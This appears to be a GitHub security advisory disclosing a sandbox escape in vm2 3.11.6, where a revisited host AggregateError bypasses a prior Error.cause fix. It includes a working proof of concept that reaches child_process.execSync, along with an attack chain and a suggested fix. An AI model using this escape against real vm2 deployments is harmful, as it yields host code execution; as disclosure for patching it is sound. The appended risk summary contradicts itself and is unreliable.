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GHSA-x965-fc75-jpqh
Summary
vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause
handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact
Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept
const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
const shared = new AggregateError([], 'shared');
shared.leak = process; // incidental host ref
throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
try { hostThrow(); } catch (e) {
e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
}`)); // -> uid=1000(...) host RCE
Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain
- Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped
AggregateErrorcarrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn,docs/ATTACKS.mdCategory 38), accepted in scope. - Caught-exception sanitizer — sandbox
try{hostThrow()}catch(e){…}; transformer routesethroughhandleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof:handleException(agg)marksaggvisited (1820); proto-walk routes tosanitizeAggregateError(1865); host-wrapped branch readsagg.errorsand callshandleException(agg, visited)on element 0 (1965); that inner call hitsvisited.get(agg)===true→return e(1819) → rawaggproxy pushed intosanitizedArr→ becomesnewAgg.errors[0]. The rebuild does NOT sealaggin place, so the returned proxy is fully live. - Sink —
e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridgegetwraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace showse.errors[0].isProxy===trueyet the chain executes and returns realuid=1000(ubuntu).... - Impact — host RCE with host privileges; also
process.env/.piddisclosure.
Bypass Evidence
Executed on node v22.23, vm2 3.11.6:
- Baseline vector
throw new Error('x',{cause:process})(plain Error.cause) → BLOCKED - Plain Error own-prop
e.leak=process(non-cyclic) → BLOCKED - Non-cyclic host
AggregateErrorw/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (
uid=1000(ubuntu)…)
Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
Affected Versions
<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
Scope Note
This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
Suggested Fix
On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
Reported by zx (Jace) — GitHub: @manus-use
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The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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